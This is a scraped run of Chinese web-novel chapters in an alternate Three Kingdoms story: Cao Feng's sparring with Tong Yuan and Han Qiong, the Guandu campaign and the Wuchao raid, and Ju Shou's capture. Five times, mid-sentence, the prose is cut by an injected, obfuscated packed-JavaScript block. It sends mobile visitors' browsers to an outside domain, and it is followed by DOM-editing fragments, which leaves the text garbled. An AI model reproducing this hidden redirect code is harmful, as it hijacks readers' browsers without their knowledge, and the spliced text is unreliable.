【见到那杆银枪后,韩琼同样露出诧异之色,目光灼灼地看向年轻人。这枪他再熟悉不过了,正是师兄童渊的五虎断魂枪!】 【“抱歉抱歉,认错人了。”曹风收起五虎断魂枪,“你这老头儿又是谁?我师兄童渊在哪?”】 【韩琼本就因劝说失败而憋了一肚子火,此刻更是怒不可遏:“哪里来的毛头小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874379|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子!偷袭完了就想罢手?”】 【说罢,金刀划出一道金光,直劈曹风头顶。】 【曹风不慌不忙,银枪一抖,精准地架住金刀。】 【两人在院外你来我往,转眼间就过了二十余招,打得难分难解。】 【童渊听到打斗声,提着铁枪缓步走出。】 【看到是曹风和韩琼在交手,他不仅不劝阻,反而靠在门框上津津有味地观战,时不时还点评几句:“曹风,你这招‘凤凰三点头’使得不错,就是力道还差三分……韩琼你的金刀十三式怎么退步了?”】 【见韩琼招式渐乱,童渊好心提醒:“臭小子,手下留情。这位也是你师兄,别伤着他。”】 【这句话彻底激怒了韩琼:“我会输给这个小辈?童渊,我看你是老糊涂了!怪不得不敢出山,原来是知道自己不中用了!”】 【童渊气得胡子都翘了起来:“韩琼,我看你是欠收拾了!”】 【曹风见状,突然枪势一变,荡开韩琼的金刀,随后转身一枪扫向童渊:“别光看热闹,一起上啊!”】 【童渊横枪架住,又好气又好笑:“我不打他,你就打我?”】 【就这样,原本的两人对决变成了三人混战。】 【跟随韩琼一起来的侄子韩猛看得目瞪口呆,完全没想到两位前辈会和一个年轻人较起劲来。】 但更让韩猛震惊的是,他深知叔叔韩琼“金刀王”的实力,当年一人独战十八路山贼的威名至今仍在北地流传。可眼前这个年轻人竟然能与韩琼打得旗鼓相当,甚至隐隐占据上风。 【就在韩猛出神之际,突然听到曹风一声怒吼:“你们这两个老不羞!怎么打着打着就联手对付我了?那我也不客气了!”】 【只见曹风浑身气势陡然一变,原本灵动的枪法突然多了几分霸道。】 更令人惊讶的是,他的枪招中竟然融入了精妙的刀法,而且结合得天衣无缝。 韩琼越打越心惊,这种将不同兵器技法融会贯通的本事,他活了大半辈子还是第一次见到。 第186章 韩琼挖角三连败:枪神不愿,曹风不去,张绣不敢 【童渊的武艺比韩琼更强,见他有些吃力,便主动帮他分担了压力,挡下了曹风的大部分攻击。】 【童渊哈哈大笑:“臭小子,又从哪儿偷学来的刀法?痛快!老夫好久没这么活动筋骨了!”说着,手中铁枪舞出一片银光,使出了成名绝技“百鸟朝凤”。】 【曹风大笑道:“我可没偷学!我这是凭本事学来的关刀!”】 【三人又激战了五十多个回合,实力最弱的韩琼最先支撑不住,一个踉跄退出战圈,场上只剩下童渊和曹风继续对决。】 【两人的招式越发凌厉,枪影交织成一片,看得人眼花缭乱。】 【童渊虽然年过七旬,但每一枪都蕴含着开山裂石之力。】 【曹风则身形灵动,刀法时而大开大合,时而刁钻诡异,让人防不胜防。】 张绣站在一旁,惊得下巴都要掉下来了。 自己还是低估了疯子师叔的实力。 他曾跟随童渊学艺多年,从未见过师父如此认真地与人交手。这说明曹风已经将童渊逼到了必须全力以赴的地步。 【韩琼用袖子擦着额头的汗水,看向曹风的眼神已经从最初的愤怒转为震惊,最后变成了毫不掩饰的欣赏。】 他心中暗想:“童渊不肯出山也罢,若是能将这个年轻的师弟招揽到袁公麾下,何愁对付不了关羽?” 【两人又交手三十多招,曹风发现童渊的呼吸渐渐急促,出枪也比之前慢了些。】 【虽然他的招式依然精妙狠辣,但毕竟年纪大了,体力终究跟不上。】 【曹风见此,突然收枪后跳,摆手笑道:“天快黑了,今天先到这儿吧。”】 【童渊同时停住了脚下步伐,枪尖点地稳住身形,捋着花白的胡须哈哈大笑:“好小子,没辜负我的五虎断魂枪!看来这些年你又有精进。”】 【曹风招手示意张绣:“给你带了好酒来!”】 【张绣连忙提着几坛陈年佳酿上前,恭敬地对童渊行礼:“弟子张绣拜见师父!”】 【童渊却突然板起脸,指着曹风说:“这是你曹风师叔,不是疯子师叔。再敢给师叔起外号,小心我家法伺候!”】 【曹风挑眉看向张绣:“你给我起外号?”】 【张绣脸色大变,连连摆手:“师叔明鉴,这都是误会啊!弟子哪敢……”】 【“老头儿,揍他!我加酒!”曹风对童渊说。】 【张绣慌忙放下酒坛,转身就跑,平日里威风凛凛的北地枭雄,此刻变成了贝蒂小熊。】 【童渊大笑着追了上去,不一会儿远处就传来张绣的求饶声。】 【夕阳完全沉入西山,一轮明月升起。】 【童渊的小院里飘起袅袅烟气,烤肉的香气弥漫在空气中。】 【两个老头儿和一个年轻人围着一个烤着肉的炉子,一边喝酒一边谈天说地。 【还有两个鼻青脸肿的中年人,垂头丧气地站在三人身后。】 【张绣的左眼肿得老高,嘴角还带着血迹。】 他被童渊结结实实教训了一顿,虽然童渊年事已高,但教训起徒弟来依然毫不含糊。 【韩猛的情况也好不到哪去,他的右脸颊高高肿起,走路还一瘸一拐的。】 他挨揍则是因为看到张绣的惨状,忍不住偷笑,恰好被曹风逮了个正着,二话不说就是一顿胖揍。 在曹风心里,张绣是他的师侄,只能自己欺负,别人可不行! 平时最护着韩猛的韩琼,这次却一反常态,不但没帮他,反而踹了他几脚。 【酒过三巡,韩琼借着酒意开始劝说曹风。他并不知道眼前这个年轻人的**。】 【“师弟,”韩琼给曹风斟满酒,语重心长地说,“我见你武艺不凡,年纪轻轻就有如此造诣,若是不出山寻得明主相辅佐,岂不是可惜了这一身本事?不如随师兄我投在袁公麾下。以你的本事,袁公定然会委以重任。”】 【张绣用肿胀的眼睛瞥了韩琼一眼,那眼神就像在看傻子。】 好在他现在满脸淤青,这种鄙夷的神情不容易被发现。 他在心里嘀咕:我疯子师叔还需要投靠别人?他麾下的武将和兵力,估计现在就能单挑袁绍了。更别提袁绍连曹操都打不过,那曹风就不可能投靠袁绍。别说投靠袁绍,就算是做与袁绍做盟友,疯师叔都嫌弃。 【果不其然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874380|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,曹风摇了摇头,端起酒碗一饮而尽,笑道:“师兄美意心领了。不过...不如你与我一同成就一番大业,如何?”】 【“你?”韩琼露出难以置信的表情,手中的酒碗停在半空。】 【“师弟,争夺天下可不是只凭借勇武就可以办到的。你还得有高贵的出身,这样世家大族才肯支持你。有了他们支持,你才有钱招兵买马,才有人才愿意跟着你干。】 【袁家四世三公,门生故吏遍布天下,所以袁公才有了如今的成就。不过师弟你……”】 【曹风不置可否地笑了笑,往火堆里添了根柴:“行吧。人各有志。”】 见劝说不动童渊和曹风,韩琼又把主意打到了张绣身上。 【这次他的态度明显强硬了许多:“张绣啊,我听说你在宛城之战中害**曹操的长子曹昂。曹操此人睚眦必报,绝不会放过你。不如随我去投效袁公,袁公求贤若渴,定会重用你。”】 【张绣闻言身子一颤,下意识看向曹风。】 【只见曹风的眼神突然变得冰冷,吓得他连忙摆手:“师叔,我……我还是在曹操麾下的好。”】 【韩琼冷哼一声,酒碗重重砸在桌上:“糊涂!跟着曹操,早晚有你吃亏的那一天。另外,”他眯起眼睛,语气中带着威胁,“别让我在战场上见到你,不然肯定饶不了你。”】 【张绣根本不在乎韩琼的威胁,而是偷瞄着曹风的脸色,然后结结巴巴地说:“不会见面的,我根本就不会为曹操出力!”】 【一旁的童渊对他们这些谈话充耳不闻,他正专心对付手中的烤肉串。老人咬了一口,满意地点头:“甄家的丫头不在,你终于舍得把没有烤糊的给我了!以前每次烤肉,最好的都给了那丫头。”】 【韩琼低头看着自己手中焦黑的肉串,又看看童渊手中金黄流油的烤肉,陷入了沉思。】 【翌日清晨,晨雾还未散尽,几人便在院门前分道扬镳。】 【曹风翻身上马,张绣紧随其后,两人策马返回曹营。】 【韩琼与韩猛则收拾行装,返回袁绍阵营。】 【童渊听取了曹风的建议,决定动身前往西凉养老。】 第187章 曹操与袁绍死磕,曹风捡漏 【时光飞逝,转眼间天下局势已发生巨变。】 【河北雄主袁绍在失去颜良、文丑两员大将后,尽起冀、青、幽、并四州之精锐,浩浩荡荡集结起数十万大军,旌旗蔽日,剑锋直指曹操。】 【袁军凭借其兵多将广、粮草充盈的优势,接连取得了几场关键战役的胜利,锐气正盛。】 【曹军初战不利,损失不小,被迫收缩防线,退入精心构筑的官渡大营。】 想要凭借坚固的营垒工事进行固守,以图稳住阵脚,寻机破敌。 【面对龟缩不出的曹军,袁绍志得意满,意图以泰山压顶之势将其彻底碾碎。他采纳了谋士审配的建议,命麾下将士在曹营外围的制高点上,夜以继日地筑起了数十座巍峨的望楼。】 【楼顶之上,袁绍最精锐的弓箭手轮番值守,强弓劲**日夜不停地向曹营倾泻着密集的箭雨。】 【一时间,曹营上空箭矢如雨,密集如飞蝗蔽日。】 【营内士卒寸步难行,不得不时刻高举盾牌掩护,稍有不慎就会被从天而降的流矢所伤。】 【军中士气日渐低迷,连日常起居都受到严重影响,整个营寨笼罩在压抑的氛围中,形势已到了岌岌可危的地步。】 【唯有曹风一人似乎早已料定袁军的攻势。他未雨绸缪,提前命人建造了专门防御箭矢的躲避屋舍。】 【因此在整个曹营遭受箭雨侵袭之际,监斩部门却安然无恙,不仅人员无一伤亡,连日常事务都能照常运转,与其他营区的混乱景象形成了鲜明对比。】 【最后,刘晔向曹操提供了对付望楼的计策。曹操欣然采纳。】 【面对袁军高楼的远程压制,刘晔迅速召集军中能工巧匠,亲自督造一种威力巨大的攻城器械——发石车(又称霹雳车)。】 【随着刘晔一声令下,巨大的石块带着凄厉的破空之声,精准地砸向袁军的望楼。】 【木石结构的望楼在沉重的石弹轰击下,纷纷崩塌解体,木屑纷飞,烟尘四起。】 【楼上的弓箭手惨叫着坠落,袁绍苦心营造的空中优势,顷刻间土崩瓦解,化为乌有。】 刘晔的这番举动,彻底引起了曹风的注意。 他下定决心,一定要想办法把这位汉室宗亲,从曹操身边拉拢过来。 【战局也由此陷入了旷日持久的胶着。】 【两军隔着营垒壕堑,遥遥对峙,每日里小规模的冲突不断,却都难以给对方造成决定性的打击。】 【日复一日,月复一月,沉重的兵役和粮秣征发,压得周边郡县的百姓喘不过气来。】 【田地荒芜,村落凋敝,百姓流离失所,苦不堪言。】 【许多不堪重负的地区,眼见袁绍势大,兵强马壮,粮草堆积如山,而曹操困守孤营,前景黯淡,为了生存,开始或明或暗地倒向袁绍一方,向其输诚纳贡,以求庇护。】 【与此同时,曹风也从中获利。他暗中派人招揽百姓,让他们迁往凉州避难。这样一来,他就能扩充自己属地的人口,为日后起兵讨伐曹操做准备。】 这对曹操而言,无异于雪上加霜,不仅削弱了他的潜在支持力量,更在心理上给其阵营带来了沉重的压力。 【更令曹操忧心如焚的是,随着对峙时间的无限延长,官渡大营内的粮草储备在以惊人的速度消耗着。】 【从许都运粮的补给线漫长,时常遭到袁军小股部队的袭扰,运输艰难。营中存粮日渐见底,军需官每日上报的存粮数字都让曹操的眉头锁得更紧。】 【士兵们开始削减口粮,从每日三餐变为两餐,甚至只能以稀粥度日。饥饿在军营中蔓延,士兵们私下里怨声载道,军心开始动摇、涣散。】 【曹风借机用富余的粮草,暗中收买了一批与王五关系密切的官员和士兵,为日后渗透曹营做准备。】 严峻的现实摆在曹操眼前。若粮草断绝,再坚固的营垒也无法阻止内部的崩溃。 【在这生死存亡的危急关头,曹操的核心幕僚中,出现了不同的声音。】 【一些谋士目睹粮草匮乏、军心不稳的困境,向曹操进言暂时放弃官渡,全军退守许都。】 就在曹操犹豫之际,荀彧却来信劝他不可退兵: 战局瞬息万变,必须一鼓作气击败袁绍。官渡大营是抵御袁绍大军的关键屏障 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15878818|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一旦放弃,撤退途中很可能会被士气高昂、兵力占优的袁军追击。 到那时,军心必然彻底崩溃,兵败如山倒,再难挽回颓势。不仅许都难保,整个中原基业也将毁于一旦。 曹操最终坚定地否决了退兵之议。 历史的转折点,往往在不经意间到来。 就在曹操苦苦支撑之际,袁绍阵营内部的一次重大决策失误,为曹军送来了千载难逢的战机。 【袁绍为了维持前线庞大的消耗,命令大将淳于琼率领一支精锐部队,押送着数量极其庞大的粮草辎重,从后方大本营出发,前往官渡前线。】 这批粮草对于维持袁绍数十万大军的持续作战能力至关重要,是袁军的生命线。 谋士沮授,素以深谋远虑、洞察战局著称。他敏锐地察觉到其中蕴含的巨大风险。他授知曹操用兵诡诈,擅长奇袭。 【沮授忧心忡忡,立即求见袁绍,恳切地进言道:“主公!淳于琼将军押运粮草,责任重大。然乌巢乃咽喉要地,距大营虽近,却为曹操轻骑突袭之绝佳目标。”】 【“为保万全,恳请主公速速另遣大将蒋奇,率领一支剽悍精兵,紧随运粮队伍之后,或于侧翼护卫,与淳于琼将军形成犄角呼应之势。”】 【“如此以来,即便曹军胆敢偷袭,我军亦可首尾相顾,内外夹击,使其有来无回!万望主公明察,增派重兵护卫粮道,此乃万全之策!”】 沮授的谏言条理分明,直指要害,本应是深谋远虑的良策。 然而,此时的袁绍,在连番小胜和兵力绝对优势的包围下,早已滋生了严重的骄矜之心,变得刚愎自用,听不进逆耳忠言。 更致命的是,他身边环绕着郭图、逢纪等善于揣摩上意、搬弄是非的谋士。 郭图等人素来嫉妒沮授的才能和在军中的威望,眼见沮授再次提出与袁绍意图(认为大军压境,曹操自顾不暇,不敢出击)相左的建议,立刻抓住机会,在袁绍耳边煽风点火。 【他们联手曲解沮授的忠告,暗示沮授此举是在质疑主公的英明决策,是在长他人志气,灭自己威风,甚至影射沮授怀有异心,其心可诛。】 第188章 偷完曹操,抢袁绍 【郭图和逢纪虽然彼此也有矛盾,但沮授是他们共同的敌人。所以在对付沮授这件事上,两人配合得相当默契。他们联手挑拨离间,正好迎合了袁绍的心思。】 【袁绍非但没有采纳沮授的建议,反而在盛怒之下,认为沮授是在动摇军心,藐视自己的权威。】 【袁绍当即下令,夺了沮授的兵权,并将沮授所统辖的部众,分拆调拨给郭图、逢纪等人管辖。】 这一举动,极大地削弱了沮授在军中的实际影响力和话语权,使其空有谋士之名,却难有作为之实。 沮授痛心疾首,却无可奈何,只能眼睁睁看着巨大的隐患埋下。 后来,沮授听说袁绍竟然让淳于琼担任乌巢守军的主将,他再次不顾危险,直言进谏。 【沮授闯进袁绍大帐,言辞恳切中带着悲凉:“主公!乌巢关系到我军命脉!虽然离主营很近,但地势特殊,实际上是个易攻难守的要害!”】 【“曹操用兵如神,最喜欢出险招。要是他探听到我军粮草都屯在乌巢,只要派几千精锐轻骑连夜突袭,我军堆积如山的粮草就危险了!一旦粮草被烧,全军断粮,就算有百万大军也会不战自溃!”】 【“淳于琼这个人贪杯好酒,很可能会误事。恳请主公一定要增派得力大将,带重兵支援乌巢,加强防守,布下严密防线,绝不能给曹操可乘之机!这事关系到全军存亡,请主公三思啊!”】 袁绍已被郭图等人的谗言和自身的傲慢彻底蒙蔽了心智。 他不仅听不进这最后的忠告,反而认为沮授一而再、再而三地强调乌巢危险,是在故意渲染失败情绪,扰乱军心。 【袁绍拍案而起,怒不可遏:“沮授!你一而再,再而三妖言惑众,乱我军心!莫非真以为我不敢杀你?来人!将此扰乱军心之人,给我押下去,严加看管,待战后发落!”】 【袁绍一声令下,两名侍卫上前,不由分说便将沮授捆绑起来,押出帐外,投入囚牢。】 【沮授仰天长叹,悲愤交加,深知大祸将至,却已无能为力。】 【当淳于琼率领的庞大运粮队伍,历经跋涉,终于将粮草辎重安全运抵乌巢,并开始安营扎寨、建立临时仓储时,袁绍大营上下都松了一口气,认为粮草已入保险之地。】 【淳于琼本人也因一路顺利而放松了警惕,甚至与部下在营中置酒庆贺。】 曹操从前来投奔的许攸那里得知,乌巢竟是袁绍的粮仓所在。他采纳了许攸的计策,当机立断,决定亲自率军发动突袭。 【曹操精选五千最精锐、最剽悍的骑兵,人人衔枚,马匹裹蹄,向乌巢扑去!】 【远处山坡上,曹风看到曹操大军开始行动,立即对身后将士下令:“高顺,你跟我一起杀进乌巢,歼灭袁军。公明和曹性负责运送抢来的粮草,许褚和王双负责断后。”说罢,曹风将一张鬼王面具戴在了脸上。】 【贾诩皱着眉头问道:“公子,如果袁绍派大军来救援,你打算怎么办?”】 他其实并不在乎曹风的死活,而是担心自己的性命——要是曹风战死,他就拿不到解药,自己也会毒发身亡。 【戴着鬼王面具的曹风斩钉截铁地说:“郭图一定会建议袁绍分兵。他会派轻装部队救援乌巢,同时让张郃、高览率领主力攻打曹操大营,来个围魏救赵。”】 【曹风突然转头对贾诩笑道:“再说了,要是我真被袁绍大军围住,文和你也肯定会想办法救我的,对吧?!” 【还没等贾诩从错愕中反应过来,曹风已经扬鞭策马,绝尘而去了。】 【贾诩望着曹风远去的背影,等到四下无人,才气得狠狠跺脚,咬牙切齿道:“真是造孽!我这辈子算是栽在他手里了!”】 【乌巢袁军的守卫,早已懈怠,巡逻松懈,哨兵昏昏欲睡。当曹军铁骑如同突然出现在营寨之外,袁军守卒完全懵了,根本来不及组织起有效的抵抗。】 【营门被瞬间冲破,曹军骑兵如入无人之境,在营内纵横 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15878819|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驰骋,四处纵火。】 【他们目标明确,直扑堆积粮草的区域,将携带的火油、火把疯狂地投向粮垛。】 【刹那间,烈焰冲天而起,火借风势,风助火威,熊熊大火迅速蔓延开来,将袁绍赖以维系数十万大军的宝贵粮草点燃!】 【曹操担心袁绍会派大军来援,便迅速撤离乌巢,与主力部队会合,准备趁袁军军心大乱时发动总攻。】 粮草被焚毁的噩耗传回袁绍大营,袁军上下闻讯,无不骇然,军心瞬间遭受毁灭性打击,士气一落千丈。 果然如曹风所料,袁绍得知乌巢遇袭后,未全力救援,反而采纳郭图建议。派蒋奇率领轻兵救援乌巢,同时命张郃、高览率重兵攻打曹操大营。 【曹操率领骑兵离开后,淳于琼望着四周冲天的火光,终于从醉酒中彻底清醒过来。他慌忙指挥士兵:“快!快去救火!”】 【就在这时,淳于琼耳边突然响起震天的喊杀声。他抬头一看,只见一员戴着面具、手持银枪、身披黄金甲的将军,纵马跃过火墙,直朝他冲来。】 【曹风大喝一声:“敌将休走!”】 【乌巢粮仓被烧,失职的淳于琼本就又惊又怒,此时撞见曹风,更是把满肚子火气全撒在他身上,当即挥刀砍去,大喝道:“贼将找死!”】 【两人刚一交手,淳于琼就后悔了——这回碰上硬茬了!他慌忙扔下大刀,连声喊道:"我投降!我投降!"】 【突然,一支箭从背后射来,直接穿透了淳于琼的脖子,他当场毙命。】 【原来是蒋奇带着援军赶到,正好看见淳于琼要投降,二话不说就一箭射**这个叛徒。】 【曹风冷哼一声,策马直冲蒋奇:"好大的胆子,敢坏我的事!"】 【蒋奇举枪迎战,结果才一个照面,就被曹风挑**下。他手下的士兵都吓傻了,谁也没想到自家将军这么快就送了命,顿时乱作一团,四散逃命。】 第189章 高顺:难不成公子的职业是火法? 【高顺带人抢下不少还没被烧毁的粮草,与徐晃会合。但火势借着风越烧越猛,浓烟滚滚,热浪扑面而来,烤得人脸发疼。】 【抢出来的粮草堆在一起,眼看就要被蔓延过来的大火烧着,可想要运出去简直比登天还难。】 【高顺和徐晃满脸黑灰,眼神焦急。】 难道拼了命抢回来的东西,最后还是要烧个精光? 【就在这时,曹风的身影穿过浓烟,出现在他们面前。】 【曹风迅速扫视着肆虐的火场和风向,随即果断下令:“快!在那边,我手指的方向,立刻点火!沿着我们撤退的路线,每隔一段也点起火堆!”】 【高顺和徐晃一听,都愣住了。】 【两人几乎同时看向对方,眼中满是震惊和怀疑。】 还要点火?! 这火势已经让人喘不过气,再点火,岂不是自寻死路? 浓烟热浪中,士兵们稍有迟疑。 【“立刻执行!违令者斩!”曹风斩钉截铁,语气不容置疑。】 高顺和徐晃的疑惑瞬间被压下。 若是旁人,他们定要斥为疯子。 但这是曹风! 他们亲眼见过太多不可能在他手中变为可能。 【高顺咬了咬牙,对陷阵营的将士吼道:“愣着干什么?照公子说的做!”】 【徐晃也猛地一挥手,示意自己的亲兵跟上。】 【士兵们只得按照曹风的指示,在指定位置点起了新的火堆。火势很快扩散,在地面上蔓延开来。】 【令人窒息的热浪中,高顺和徐晃死死盯着那片新燃起的火焰,心都提到了嗓子眼。】 【他们看见,新点燃的火就像一条贪婪的火蛇,迅速吞没了曹风指定路线上的枯草和灌木,烧出一条焦黑光秃的隔离带。】 紧接着,更惊人的事情发生了—— 【当那片滔天大火蔓延到隔离带边缘时,竟像撞上一堵看不见的墙,突然停住了!】 【火势在隔离带前翻腾了几下,最终因为没了可烧的东西,再加上两股火焰互相争夺空气中的氧气,中间的火苗竟渐渐变小,最终熄灭了!】 【一条焦黑的、冒着青烟的安全通道,赫然出现在他们撤退的方向上!】 【高顺倒吸一口凉气,脸上的肌肉微微抽动。】 他征战多年,火攻水攻见过无数,却从未见过有人能这样驾驭烈火,在绝境中生生烧出一条生路! 这个一向严肃的武将,此刻心里突然冒出个荒唐念头:“难不成公子是个法师?!” 旁边的徐晃,死死盯着那条焦黑的安全通道,又猛地看向曹风,眼神复杂至极。 震惊? 有! 佩服? 更有! 但更多的是一种认知被彻底颠覆的茫然—— 火,还能这么玩?! 他张了张嘴,想说什么,可喉咙干涩,一个字也说不出来。最后只能在心里叹道:“公子……真是神了!” 这个念头,道尽了徐晃此刻翻江倒海的震撼和敬佩。 …… 乌巢救援失败,淳于琼战死,袁绍一时陷入慌乱。然而,更让他措手不及的是,灾难接二连三地袭来,局势急转直下。 他麾下两员大将——高览与张郃,原本就手握重兵、骁勇善战,却早已对袁绍的刚愎自用和偏信谗言心生不满。沮授被下狱一事,更让他们愤慨不已。 如今,他们认定袁绍大势已去,败局已定。再加上郭图等人的诬陷逼迫,二人彻底心灰意冷。为了自身前途和性命,他们索性在关键时刻临阵倒戈,率领本部精锐,毫不犹豫地投奔了曹操! 高览、张郃投降的消息传来,袁军彻底大乱! 士兵们本就因为粮草被烧而惶恐不安,现在又看到大将叛变,更是人心惶惶,完全不知道该怎么办。 曹操抓住袁绍军队士气最低落的时机,果断发起总攻。袁军大败溃散。 袁绍这个曾经叱咤北方的霸主,此刻全靠亲卫拼死保护才杀出重围。最终他仅带着仅剩的八百亲信骑兵,狼狈北逃,仓皇渡过黄河,总算逃回了冀州老巢。 这次决战,曹风比曹操还开心。曹操在前面打袁绍,他在后面偷偷捡漏。 经此官渡一战,袁绍主力精锐损失殆尽,元气大伤,从此一蹶不振,再也无力南顾。 曹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15884487|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 操则凭借此役,一举扭转乾坤,奠定了统一北方的坚实基础。 袁军如山崩般溃败时,被囚的沮授根本无人顾及。混乱中囚车被冲散,他试图逃跑,但兵荒马乱间,一个文弱谋士哪能脱身?很快就被曹军追兵擒获。 【沮授被反绑双手,押解至曹操的中军大帐 【面对端坐于主位的曹操,沮授面无惧色。】 【沮授昂首挺胸,未等曹操开口,便朗声大呼道:“沮授非战之罪而被擒!今日被执,乃时运不济,非我沮授投降于你!要杀要剐,悉听尊便!”】 其声铿锵,气节凛然。 【曹操望着阶下这位曾为袁绍出谋划策的谋士,心中感慨万千。他向来清楚沮授的才能。】 【曹操离席起身,走到沮授面前,亲手为他解开绳索。“先生认为,袁本初为何会败?”】 【沮授活动着被捆得发麻的手腕,神色依然冷峻,坦然答道:“袁本初刚愎自用,屡失良机,又听信小人谗言,终致败亡。”】 【“我才能有限,既未能纠正主公过失,又未能保全自己。今日被擒,不过是智穷力竭,天命如此。”】 沮授没有推卸责任,也不曾诋毁旧主,只是平静地陈述事实,将失败归咎于袁绍的决策失误和自己的无能为力。 曹操听罢,对沮授的气节和坦荡更加敬重。 【曹操注视着沮授,语气诚恳地说道:“袁本初坐拥雄兵,却优柔寡断,不能善用先生这样的大才。若他当初听从你的计策,胜负还真不好说。”】 【“先生这等人才,实在是明珠暗投,令人惋惜!”曹操叹息道,“如今天下大乱,民不聊生,国家分崩离析之势愈演愈烈。”】 【“我虽才能有限,却日夜思虑,想要扫平群雄,重整山河,还天下太平。只是这条路艰难险阻,千头万绪。”】 【说到这里,曹操上前一步,郑重说道:“今日我真心实意,愿与先生不计前嫌,共同匡扶汉室,谋划天下大计,拯救黎民百姓!以先生之大才,若能相助,实乃天下苍生之福!”】 这番话说得情真意切,既点明了袁绍的过失,也表明了自己的抱负,更向沮授伸出了真诚的招揽之手。 第190章 沮授盗马 【沮授听罢曹操的肺腑之言,却缓缓摇头,脸上布满了悲戚与不容决绝。】 【他拱手深深一揖,声音沉痛:“曹公厚爱,沮授心领。然则,授之叔父、母亲、兄弟等至亲骨肉,皆在邺城,性命悬于袁氏之手,旦夕可危。】 【沮授若贪生怕死,背主求荣,归顺于公,则袁本初盛怒之下,必迁怒于我家人!”】 【“彼时,授之亲眷,必遭灭顶之灾!授虽不才,亦知忠孝难以两全。今日若蒙曹公怜悯,成全沮授名节,请速速下令将我处死!如此,沮授既全了为主尽忠之义,亦可望不至连累家人。身死而名节存,家人或可得保,此乃沮授心中所求之大福!恳请曹公成全!”】 沮授将家人性命置于自身生死之上,其情可悯,其志可哀。 曹操听完沮授这番以死保家全节之言,内心受到极大震动,感慨如潮翻涌。 【他凝视沮授良久,喟然长叹:“唉!悲哉,惜哉!若我能早得先生倾心相辅,以先生之智,佐孤之略,则扫平寰宇,何至于使天下纷扰至今?这偌大天下,又有何难图?”】 曹操言语之中,充满了对未能早得沮授的深深遗憾,以及对沮授才华的极高评价。 此时的曹操还不知晓,他所有求而不得的忠义之士,他无法驯服的桀骜之才,终有一日,都将被他最看不起的儿子曹风,尽数收入麾下。 【实在不忍诛杀这等大才,曹操最终下令:“沮授忠义可嘉,其情可悯。赦免其罪,不可为难。安排上好的房间,以礼相待,饮食起居务必优厚,不得有误!”】 曹操期冀以恩义和时间,慢慢感化沮授,使其回心转意。 于是,沮授被安置在一处相对舒适的营帐中,有专人看守照料。行动虽受限制,但日常供给确实优渥。 【曹操每日派人嘘寒问暖,送去美酒佳肴,并时常亲自或遣重臣前来探视、劝解,言辞恳切,礼遇备至。】 然而,沮授的心始终悬在河北。 他担忧袁绍败退后的窘迫处境,更无时无刻不挂念着身陷邺城的家人。 曹操的厚待对他而言非但不是恩惠,反而像一副沉重的枷锁,令他坐立难安。沮授知道,自己若长久滞留在曹营,无论投降与否,都可能给家人招来灭门之祸。 一个大胆而冒险的念头在沮授心中萌生,并迅速滋长——他必须逃出去,回到北方!纵有千难万险,他也要与家人同生共死! 沮授不知道的是,他的家人早就被郭图卖给了曹风! 【夜深人静,营火偶尔噼啪作响。】 【沮授假装熟睡,等士兵换岗的空隙,凭着对营帐的熟悉,悄悄撬开后帐一处薄弱的缝隙,像猫一样敏捷地钻了出去。】 【沮授屏住呼吸,借着阴影的掩护小心移动,避开巡逻兵的火把光亮,径直朝马棚摸去。】 沮授的计划很简单:偷一匹快马,趁夜色冲出曹营,一路向北狂奔! 